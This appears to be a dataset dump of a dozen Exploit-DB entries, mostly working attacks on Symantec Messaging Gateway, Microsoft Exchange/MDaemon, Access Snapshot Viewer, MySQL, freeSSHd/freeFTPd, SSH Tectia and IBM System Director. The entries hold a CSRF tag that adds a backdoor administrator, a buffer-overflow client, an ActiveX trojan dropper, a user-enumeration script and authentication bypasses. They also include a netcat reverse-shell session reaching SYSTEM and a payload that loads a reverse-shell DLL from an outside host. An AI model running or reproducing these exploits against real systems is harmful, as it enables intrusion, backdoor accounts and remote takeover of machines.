QLWD/code_shield huggingface dataset:
标题: Symantec Messaging Gateway 9.5.3-3 - Cross-Site Request Forgery EDB-ID: 23109 CVE: 2012-0308 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2012-12-03 漏洞利用脚本: =======
Summary
=======
Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator (for example)
Release Date: 30 November 2012
Reference: NGS00263
Discoverer: Ben Williams <ben.williams@ngssecure.com>
Vendor: Symantec
Vendor Reference: 
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Risk: High
Status: Published

========
TimeLine
========
Discovered: 16 April 2012
Released: 16 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012

===========
Description
===========
I. VULNERABILITY
-------------------------
Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator (for example)

II. BACKGROUND
-------------------------
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance

III. DESCRIPTION
-------------------------
It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.

=================
Technical Details
=================
IV. PROOF OF CONCEPT
-------------------------
An attacker can create an web page with a hidden image-tag (example below)

<html>
A very interesting page indeed
<img
src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true"
height=0 width=0>
</html>

When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).

The administrator would not notice anything until they go to here:
http://192.168.1.59:41080/brightmail/admin/administrator/view.do
(where they would see the added administrator, but if the username is something like "system" or "filter" they may not notice this as an issue anyway)

The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.

Many other functions can be abused in this way to arbitrarily reconfigure the appliance.

===============
Fix Information
===============
An updated version of the software has been released to address the vulnerability:

http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00


NCC Group Research
http://www.nccgroup.com/research


For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br>
This email message has been delivered safely and archived online by Mimecast.
</a> URL: https://www.exploit-db.com/exploits/23109
标题: Microsoft Internet Explorer 5/6 - Browser Popup Window Object Type Validation EDB-ID: 23114 CVE: 2003-0838 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8556/info

Internet Explorer does not properly handle object types, when rendering malicious popup windows. This may result in the possibility of the execution of malicious software.

The problem occurs when Internet Explorer receives a response from the server when a malicious popup window containing an object tag is parsed. Proper parameter checks of the type of file being loaded are not performed on the object type contained within HTTP response received from the web server.

<script>
var oPopup = window.createPopup();

function showPopup() {
oPopup.document.body.innerHTML = "<object data=ouch.php>";
oPopup.show(0,0,1,1,document.body);
}

showPopup()
</script> URL: https://www.exploit-db.com/exploits/23114
标题: Microsoft Exchange Server 4.0/5.0 - SMTP HELO Argument Buffer Overflow EDB-ID: 23113 CVE: 1999-0284 类型: REMOTE 平台: WINDOWS 发布日期: 1998-03-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8555/info

It has been reported that Microsoft Exchange server is prone to an SMTP HELO command argument buffer overflow vulnerability.

The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon. 

/* 
 * MDaemon SMTP server for Windows buffer overflow exploit 
 * 
 * http://www.mdaemon.com - if you dare... 
 * 
 * Tested on MDaemon 2.71 SP1 
 * 
 * http://www.rootshell.com/ 
 * 
 * Released 3/10/98 
 * 
 * (C) 1998 Rootshell All Rights Reserved 
 * 
 * For educational use only. Distribute freely. 
 * 
 * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail 
 * connector if SP2 has NOT been installed. 
 * 
 * Danger! 
 * 
 * A malicous user could use this bug to execute arbitrary code on the 
 * remote system. 
 * 
 */ 


#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <string.h> 
#include <stdlib.h> 
#include <unistd.h> 


void main(int argc, char *argv[]) 
{ 
  struct sockaddr_in sin; 
  struct hostent *hp; 
  char *buffer; 
  int sock, i; 


  if (argc != 2) { 
    printf("usage: %s <smtp server>\n", argv[0]); 
    exit(1); 
  } 
  hp = gethostbyname(argv[1]); 
  if (hp==NULL) { 
    printf("Unknown host: %s\n",argv[1]); 
    exit(1); 
  } 
  bzero((char*) &sin, sizeof(sin)); 
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 
  sin.sin_family = hp->h_addrtype; 
  sin.sin_port = htons(25); 
  sock = socket(AF_INET, SOCK_STREAM, 0); 
  connect(sock,(struct sockaddr *) &sin, sizeof(sin)); 
  buffer = (char *)malloc(10000); 
  sprintf(buffer, "HELO "); 
  for (i = 0; i<4096; i++) 
    strcat(buffer, "x"); 
  strcat(buffer, "\r\n"); 
  write(sock, &buffer[0], strlen(buffer)); 
  close(sock); 
  free(buffer); 
} URL: https://www.exploit-db.com/exploits/23113
标题: Microsoft Access 97/2000/2002 Snapshot Viewer - ActiveX Control Parameter Buffer Overflow EDB-ID: 23095 CVE: 2003-0665 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8536/info

Microsoft Access Snapshot Viewer is prone to a remote buffer-overflow condition because the software fails to perform sufficient boundary checks on user-supplied parameters. Presumably, a remote attacker may be able to leverage this issue to execute arbitrary code in the context of the user running the affected Internet Explorer. 

/* Microsoft Access Snapshot Viewer ActiveX Control Exploit
   Ms-Acees SnapShot Exploit Snapview.ocx v 10.0.5529.0
   Download nice binaries into an arbitrary box
   Vulnerability discovered by Oliver Lavery 
   https://www.securityfocus.com/bid/8536/info
   Remote: Yes
   greetz to str0ke */

#include <stdio.h>
#include <stdlib.h>


#define Filename        "Ms-Access-SnapShot.html"


FILE *File;
char data[] = 
"<html>\n<objectclassid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9'id='attaque'></object>\n"
              "<script language='javascript'>\nvar arbitrary_file = 
'http://path_to_trojan'\n"
              "var dest = 
'C:/Docume~1/ALLUSE~1/trojan.exe'\nattack.SnapshotPath = 
arbitrary_file\n"
              "attack.CompressedPath = 
destination\nattack.PrintSnapshot(arbitrary_file,destination)\n"
              "<script>\n<html>";

int main ()
{
        printf("**Microsoft Access Snapshot Viewer ActiveX 
Exploit**\n");
        printf("**c0ded by callAX**\n");
        printf("**r00t your enemy .| **");

        FILE *File;
        char *b0fer;

        if ( (File = fopen(Filename,"w+b")) == NULL ) {
                printf("\n fopen() error");
                exit(1);
        }

        b0fer = (char*)malloc(strlen(data));
        memcpy(b0fer,data,sizeof(data)-1);


        fwrite(b0fer, strlen(data), 1,File);
        fclose(File);

        printf("\n\n" Filename " has been created.\n");
        return 0;
} URL: https://www.exploit-db.com/exploits/23095
标题: Microsoft Visual Basic For Applications SDK 5.0/6.0/6.2/6.3 - Document Handling Buffer Overrun EDB-ID: 23094 CVE: 2003-0347 类型: REMOTE 平台: WINDOWS 发布日期: 2003-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8534/info

A vulnerability has been discovered in Microsoft Visual Basic for Applications. The vulnerability occurs because the software fails to perform sufficient boundary checks when parsing specific properties of malformed documents. As a result, a malformed document may trigger a buffer overrun within the affected application, effectively allowing arbitrary code to run.

Internet Explorer is also reportedly an attack vector, since it may call helper applications when handling certain document types. 

1. Open Word.
2. Select "Insert" - "Object"
3. Select "MSPropertyTreeCtl Class" (You can also select other objects such
as ChoiceBox Class, etc)
4. Save .doc file.
5. Modify .doc file by using binary editor as follows:

5a. Find following strings in doc file.

ID="{1FE45957-2625-4B1E-ADEF-EC04B7F34CCF}"
Document=ThisDocument/&H00000000
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="1E1C0125015D1B611B611B611B61"
DPB="4B4954458046804680"
GC="787A679868986867"

5b. Change "ID" from:

+0000 49 44 3D 22 7B 31 46 45 34 35 39 35 37 2D 32 36 ID="{1FE45957-26
+0010 32 35 2D 34 42 31 45 2D 41 44 45 46 2D 45 43 30 25-4B1E-ADEF-EC0
+0020 34 42 37 46 33 34 43 43 46 7D 22 0D 0A 44 6F 63 4B7F34CCF}"..Doc
+0030 75 6D 65 6E 74 3D 54 68 69 73 44 6F 63 75 6D 65 ument=ThisDocume

to the following:

+0000 49 44 3D 22 7B 61 61 61 61 61 61 61 61 61 61 61 ID="{aaaaaaaaaaa
+0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
+0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
+0030 61 61 61 61 41 42 43 44 00 00 00 00 aaaaABCD....

6. Open modified doc file.
7. You'll be able to see an access violation such as...

65106055 FF 52 0C call dword ptr [edx+0Ch]

EAX = 023219A4 EBX = 0232194B ECX = 02311AC4
EDX = 44434241 ESI = 0231186C EDI = 02321940
EIP = 65106055 ESP = 0012CBA0 EBP = 0012CBB8

**UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild. URL: https://www.exploit-db.com/exploits/23094
标题: Microsoft WordPerfect - Converter Buffer Overrun EDB-ID: 23096 CVE: 2003-0666 类型: LOCAL 平台: WINDOWS 发布日期: 2003-09-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8538/info

The Microsoft WordPerfect Converter, which ships with Office and a number of other products, is prone to a buffer overrun vulnerability. This could result in execution of malicious, attacker-supplied code when a document with malformed parameters is processed by the component. Exploitation would permit an attacker to execute arbitrary code with the privileges of the user opening the malformed document. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23096.zip URL: https://www.exploit-db.com/exploits/23096
标题: MySQL - Remote User Enumeration EDB-ID: 23081 CVE: 2012-5615 类型: REMOTE 平台: MULTIPLE 发布日期: 2012-12-02 漏洞利用脚本: # MySQL User Account Enumeration Utility
# When an attacker authenticates using an incorrect password
# with the old authentication mechanism from mysql 4.x and below to a mysql 5.x server
# the mysql server will respond with a different message than Access Denied, what makes
# User Account Enumeration possible.
# The Downside is that the attacker has to reconnect for each user enumeration attempt
#20000 user accounts in 7 minutes
#Mon Jan 16 09:00:18 UTC 2012
#Mon Jan 16 09:07:26 UTC 2012
#root@vs2067037:~# wc -l MEDIUM.LST
#21109 MEDIUM.LST
#A usernames.txt wordlist is included in this package
#examples:
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: administrator@host
#
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt
#
#[*] HIT! -- USER EXISTS: admin@host
#

use IO::Socket;
use Parallel::ForkManager;
$|=1;

if ($#ARGV != 1) {
print "Usage: mysqlenumerate.pl <target> <wordlist>\n";
exit;
}

$target = $ARGV[0];
$wordlist = $ARGV[1];
$numforks = 50;
$pm = new Parallel::ForkManager($numforks);

open FILE,"<$wordlist";
unlink '/tmp/cracked';

@users = ();
$k=0;
while(<FILE>) {
        chomp;
        $_ =~ s/\r//g;
        $users[$k++] = $_;
}
close FILE;
$k2 = 0;
for(;;) {
for ($k=0;$k<$numforks;$k++) {
$k2++;
if (($k2 > $#users) or (-e '/tmp/cracked')) {
exit;
}
my $pid = $pm->start and next;
$user = $users[$k2];
goto further;
again:
print "Connect Error\n";
further:
my $sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => '3306',
                              Proto    => 'tcp') || goto again;
recv($sock, $buff, 1024, 0);

$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50".
                        "\x4e\x5f\x51\x55\x45\x4d\x45\x00";
$buf = chr(length($buf)-3). $buf;
print $sock $buf;
$res = recv($sock, $buff, 1024, 0);
close($sock);
if ($k2 % 100 == 0) {
print $buff."\n";
}
if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;}
unless (-e '/tmp/cracked') {
open FILE, ">/tmp/cracked";
close FILE;
print "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
open FILE, ">jackpot";
print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
exit;
}
}
$pm->wait_all_children;
} URL: https://www.exploit-db.com/exploits/23081
标题: freeSSHd 2.1.3 - Remote Authentication Bypass EDB-ID: 23080 CVE: 2012-6066 类型: REMOTE 平台: WINDOWS 发布日期: 2012-12-02 漏洞利用脚本: FreeSSHD all version Remote Authentication Bypass ZERODAY
Discovered & Exploited by Kingcope
Year 2011

# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23080.zip

Run like:

ssh.exe -l<valid username> <host>

valid username might be:

root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
ssh
sftp
ftp

or anything you can imagine.


The vulnerable banner of the most recent version is:

SSH-2.0-WeOnlyDo 2.1.3


For your pleasure,

KingcopeFreeSSHD all version Remote Authentication Bypass ZERODAY
Discovered & Exploited by Kingcope
Year 2011

Run like:

ssh.exe -l<valid username> <host>

valid username might be:

root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test
ssh
sftp
ftp

or anything you can imagine.


The vulnerable banner of the most recent version is:

SSH-2.0-WeOnlyDo 2.1.3


For your pleasure,

Kingcope URL: https://www.exploit-db.com/exploits/23080
标题: freeFTPd 1.2.6 - Remote Authentication Bypass EDB-ID: 23079 CVE: 2012-6066 类型: REMOTE 平台: WINDOWS 发布日期: 2012-12-02 漏洞利用脚本: FreeFTPD all versions Remote System Level Exploit Zero-Day -- No username needed, straightforward rooting!
Discovered & Exploited By Kingcope
Year 2011
--

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23079.zip

Example banner: WeOnlyDo-wodFTPD 2.3.6.165

This package includes all you need to successfully root any version of FreeFTPD:

* Modified version of ssh.exe (FreeFTPD authentication bypass)
* sftp.exe for connecting to the server
* nullevent.exe connect back shell that is uploaded to the server
* nullevent.mof file which is uploaded to the server to execute the connect back shell
* MSVCR100.dll that is needed by nullevent.exe 
* scan logs for your pleasure!

We make use of the STUXNET technique to execute code, So let's go:

1.) Setup a netcat on a host you have, firewall open on the listening port
2.) modify nullevent.mof in an editor (where the ip and port is) according to your netcat config
3.) connect to the FreeSSHD: sftp.exe -S ./ssh.exe <ip/host>
4.) upload (put) nullevent.exe: put nullevent.exe
5.) upload (put) MSVCR100.dll: put MSVCR100.dll
6.) upload (put) nullevent.mof to wbem/mof/nullevent.mof: put nullevent.mof wbem/mof/nullevent.mof
7.) Enjoy your system shell which will blink up on you netcat after 1 minute!!
8.) Cleanup by deleting nullevent.exe located in c:\windows\system32\
8.)  Enjoy!
9.)  Enjoy!
10.) Enjoy!

Example exploitation session:

C:\Users\KC\Desktop\FreeFTPD_0day>sftp -S ./ssh.exe 83.241.214.171
Could not create directory '/home/KC/.ssh'.
The authenticity of host '83.241.214.171 (83.241.214.171)' can't be established.
RSA key fingerprint is a8:ba:6d:0a:c6:ae:8b:a1:b6:47:7b:43:a8:de:4b:8e.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/KC/.ssh/known_hosts).
Connected to 83.241.214.171.
sftp> put nullevent.exe
Uploading nullevent.exe to /nullevent.exe
nullevent.exe                                                                         100% 7168     7.0KB/s   00:00
sftp> put MSVCR100.dll
Uploading MSVCR100.dll to /MSVCR100.dll
MSVCR100.dll                                                                          100%  751KB  22.8KB/s   00:33
sftp> put nullevent.mof wbem/mof/nullevent.mof
Uploading nullevent.mof to /wbem/mof/nullevent.mof
nullevent.mof                                                                         100%  691     0.7KB/s   00:00
sftp>

[root@vs2067037 ~]# nc -v -l 443
Connection from 83.231.224.193 port 443 [tcp/https] accepted
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system URL: https://www.exploit-db.com/exploits/23079
标题: (SSH.com Communications) SSH Tectia (SSH < 2.0-6.1.9.95 / Tectia 6.1.9.95) - Remote Authentication Bypass EDB-ID: 23082 CVE: 2012-5975 类型: REMOTE 平台: LINUX 发布日期: 2012-12-02 漏洞利用脚本: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23082.zip

SSH Tectia Remote Authentication Bypass
Tectia is the commercial OpenSSH solution. The product can be found at:
www.tectia.com
An attacker in the possession of a valid username of an SSH Tectia installation running on UNIX (verified: AIX/Linux) can login without a password.
The bug is in the SSH USERAUTH CHANGE REQUEST routines which are there to allow a user to change their password. A bug in this code allows an attacker to login without a password by forcing a password change request prior to authentication.

The vulnerability has been verified on UNIX operating systems and at least on this (recent) versions:
• SSH-2.0-6.1.9.95 SSH Tectia Server (Latest available version from www.tectia.com)
• SSH-2.0-6.0.11.5 SSH Tectia Server
A default installation on Linux (version 6.1.9.95 of Tectia) is vulnerable to the attack.

Kingcope URL: https://www.exploit-db.com/exploits/23082
标题: IBM System Director Agent - Remote System Level EDB-ID: 23074 CVE: 2009-0880 类型: REMOTE 平台: WINDOWS 发布日期: 2012-12-02 漏洞利用脚本: IBM System Director Remote System Level Exploit (CVE-2009-0880 extended zeroday)
Copyright (C) 2012 Kingcope

IBM System Director has the port 6988 open. By using a special request
to a vulnerable server,
the attacker can force to load a dll remotely from a WebDAV share.

The following exploit will load the dll from
\\isowarez.de\\director\wootwoot.dll
the wootwoot.dll is a reverse shell that will send a shell back to the
attacker (the code has to be inside the dll initialization routine).
The IBM Director exploit works on versions 5.20.3 and before, but not
on 5.2.30 SP2 and above.
Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0880
There was a prior CVE for it, the CVE states the attack can load local
files only, using the WebDAV server remote file can be loaded too.
To scan for this software you can enter the following (by using pnscan):
./pnscan -w"M-POST /CIMListener/ HTTP/1.1\r\nHost:
localhost\r\nContent-Length: 0\r\n\r\n" -r HTTP <ipblock> 6988

Exploit:
---snip---
use IO::Socket;
#1st argument: target host
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "6988",
                                 Proto    => 'tcp');
$payload =
qq{<?xml version="1.0" encoding="utf-8" ?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
 <MESSAGE ID="1007" PROTOCOLVERSION="1.0">
  <SIMPLEEXPREQ>
    <EXPMETHODCALL NAME="ExportIndication">
     <EXPPARAMVALUE NAME="NewIndication">
      <INSTANCE CLASSNAME="CIM_AlertIndication" >
        <PROPERTY NAME="Description" TYPE="string">
          <VALUE>Sample CIM_AlertIndication indication</VALUE>
        </PROPERTY>
        <PROPERTY NAME="AlertType" TYPE="uint16">
          <VALUE>1</VALUE>
        </PROPERTY>
        <PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
          <VALUE>3</VALUE>
        </PROPERTY>
        <PROPERTY NAME="ProbableCause" TYPE="uint16">
          <VALUE>2</VALUE>
        </PROPERTY>
        <PROPERTY NAME="IndicationTime" TYPE="datetime">
          <VALUE>20010515104354.000000:000</VALUE>
        </PROPERTY>
      </INSTANCE>
    </EXPPARAMVALUE>
  </EXPMETHODCALL>
 </SIMPLEEXPREQ>
 </MESSAGE>
</CIM>};
$req =
"M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Content-Type: application/xml; charset=utf-8\r\n"
."Content-Length: ". length($payload) ."\r\n"
."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n"
."CIMOperation: MethodCall\r\n"
."CIMExport: MethodRequest\r\n"
."CIMExportMethod: ExportIndication\r\n\r\n";
print $sock $req . $payload;

while(<$sock>) {
 print;
}
---snip---

Cheerio,

Kingcope URL: https://www.exploit-db.com/exploits/23074
标题: MySQL 5.1/5.5 (Windows) - 'MySQLJackpot' Remote Command Execution EDB-ID: 23073 CVE: 2012-5615 类型: REMOTE 平台: WINDOWS 发布日期: 2012-12-02 漏洞利用脚本: ***
FARLiGHT ELiTE HACKERS LEGACY R3L3ASE
***

Attached is the MySQL Windows Remote Exploit (post-auth, udf
technique) including the previously released mass scanner.
The exploit is mirrored at the farlight website http://www.farlight.org.

Oracle MySQL on Windows Remote SYSTEM Level Exploit zeroday
All owned By Kingcope

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23073.tar.gz

Installation Instructions
=============================

1. Install mysql client libraries and headers (UNIX)
RedHat based (e.g. CentOS):
yum install mysql mysql-devel

2. Compile the standalone exploit
issue commands:
gcc mysqljackpot.c -o mysqljackpot -L/usr/lib/mysql -lmysqlclient

3. Compile the reverse shell payload (this is required!)
required because the connect back ip and port are hardcoded in the dll:
use mingw on windows or wine
change REVERSEIP and REVERSEPORT to suit your needs. If you change REVERSEPORT you have
to change the port in mysqljackpot.c too (default port: 443).
issue commands:
set PATH=%PATH%;c:\MinGW\bin\
gcc -c payload.c
gcc -shared -o payload.dll payload.o -lws2_32
copy the payload.dll into the mysqljackpot exploit folder

4. Run The Exploit
./mysqljackpot -u root -p "" -t 99.99.99.99
A valid database admin user and his password are required
for the exploit to work properly.
This exploit is especially useful when used in connection
to a MySQL login scanner, see scanner/README.mysql inside this package.
Be sure to have the firewall open on the desired reverse port
on the attacking machine.

5. Enjoy your SYSTEM Shell!!!


Yours Sincerely,

-- Kingcope URL: https://www.exploit-db.com/exploits/23073